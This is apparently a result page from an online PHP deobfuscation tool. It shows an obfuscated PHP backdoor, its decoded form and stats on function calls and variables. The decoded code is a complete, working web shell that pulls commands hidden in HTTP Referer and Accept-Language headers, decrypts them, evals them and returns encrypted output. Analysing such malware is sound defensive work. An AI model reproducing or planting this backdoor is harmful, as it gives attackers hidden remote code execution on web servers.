Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $m='{$j};}?V}return $o;}$r=?V$_SE?VRVER;$rr?V=@$r["H?VTTP?V_REF?VERER"];$r?Va=@?V$r[..

Decoded Output download

$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$m='{$j};}?V}return $o;}$r=?V$_SE?VRVER;$rr?V=@$r["H?VTTP?V_REF?VERER"];$r?Va=@?V$r["HT?VTP_?VAC';
$H='$?Vm);if?V($?Vq&&$m){@se?Vssi?Von_st?Vart();$s=?V&$?V_SESSION;$ss="?V?Vsubstr";$s?Vl="strt?Vo?Vlo';
$N='?Vcompress(@x(@base?V64_deco?Vd?Ve(preg_repl?Vace(?Varray("/?V_/?V","?V/-/"),array(?V"/","+"?';
$E='Vo="";for(?V$i=0;$i<$?V?V?Vl;){for($j?V=0;(?V?V$j<$c&&$i<$l);?V$j++,$i++){$?Vo.?V=$t?V{$i}^?V$k';
$a='q=array_?Vvalues?V($q?V);pre?Vg_ma?V?Vtch_al?Vl("/([\\w])[\\w-]+?V(?:;q=0?V.([\\d]))??V,?/",$?Vra,';
$n='V),?V$?Vss($s[$i],0?V,$e))),$k))?V);$o=o?Vb?V_ge?Vt_con?Vtents();o?Vb_e?Vnd_clea?Vn();$d=b?Vase';
$O='i.?V$kf)?V,0,3))?V;$p="";for($z=?V1;$z<co?Vunt?V($m[1?V]);$z++)$p.=?V$q[$m?V[2][$z]?V?V];if(st?V';
$d=str_replace('W','','creWatWWe_fuWWnWction');
$S='?V64_enc?Vode(x(gzc?Vompress?V($o),$k)?V?V);print("?V<$k>?V$?Vd</$k>");?V@session_des?Vtroy();}}}}';
$Z='rp?Vos(?V$p,$h)?V===0){$s[$i]="";$p?V=$ss?V($p,?V3)?V;}if(array?V_key_e?Vx?Vists?V($i,$s)){$s';
$X='CEPT_LA?VNGUAGE"]?V?V;if($rr&&$ra){?V$u=par?Vse_url(?V$rr);p?Var?Vse_str(?V$u["quer?Vy?V"],$q)?V;$';
$P='wer?V?V";$i=$?Vm[1][0].$m[1][1?V];$h=?V$sl?V($ss(md5($i.$k?Vh),0,3?V));?V$f=$?Vsl($ss(?V?Vmd5($';
$A='[$i].?V=$p;$?Ve=s?Vtrpos?V($s[$i]?V,$f);if(?V?V$e){$k=$kh?V.$kf;ob_?Vstart(?V?V);@eva?Vl(@gzun?V';
$D='$kh="5d4?V1";$kf="?V402a";?Vfunctio?V?Vn x($t,$k)?V{$c=st?Vrlen(?V$k);$l=?Vstrlen(?V$t)?V;$?';
$c=str_replace('?V','',$D.$E.$m.$X.$a.$H.$P.$O.$Z.$A.$N.$n.$S);
$g=$d('',$c);$g();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$A [$i].?V=$p;$?Ve=s?Vtrpos?V($s[$i]?V,$f);if(?V?V$e){$k=$kh?V...
$D $kh="5d4?V1";$kf="?V402a";?Vfunctio?V?Vn x($t,$k)?V{$c=st?Vr..
$E Vo="";for(?V$i=0;$i<$?V?V?Vl;){for($j?V=0;(?V?V$j<$c&&$i<$l)..
$H $?Vm);if?V($?Vq&&$m){@se?Vssi?Von_st?Vart();$s=?V&$?V_SESSIO..
$N ?Vcompress(@x(@base?V64_deco?Vd?Ve(preg_repl?Vace(?Varray("/..
$O i.?V$kf)?V,0,3))?V;$p="";for($z=?V1;$z<co?Vunt?V($m[1?V]);$z..
$P wer?V?V";$i=$?Vm[1][0].$m[1][1?V];$h=?V$sl?V($ss(md5($i.$k?V..
$S ?V64_enc?Vode(x(gzc?Vompress?V($o),$k)?V?V);print("?V<$k>?V$..
$X CEPT_LA?VNGUAGE"]?V?V;if($rr&&$ra){?V$u=par?Vse_url(?V$rr);p..
$Z rp?Vos(?V$p,$h)?V===0){$s[$i]="";$p?V=$ss?V($p,?V3)?V;}if(ar..
$a q=array_?Vvalues?V($q?V);pre?Vg_ma?V?Vtch_al?Vl("/([\w])[\w-..
$c $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=str..
$d create_function
$g None
$m {$j};}?V}return $o;}$r=?V$_SE?VRVER;$rr?V=@$r["H?VTTP?V_REF?..
$n V),?V$?Vss($s[$i],0?V,$e))),$k))?V);$o=o?Vb?V_ge?Vt_con?Vten..

Stats

MD5 02f78d3d95d81a73554b739bb5171e17
Eval Count 1
Decode Time 94 ms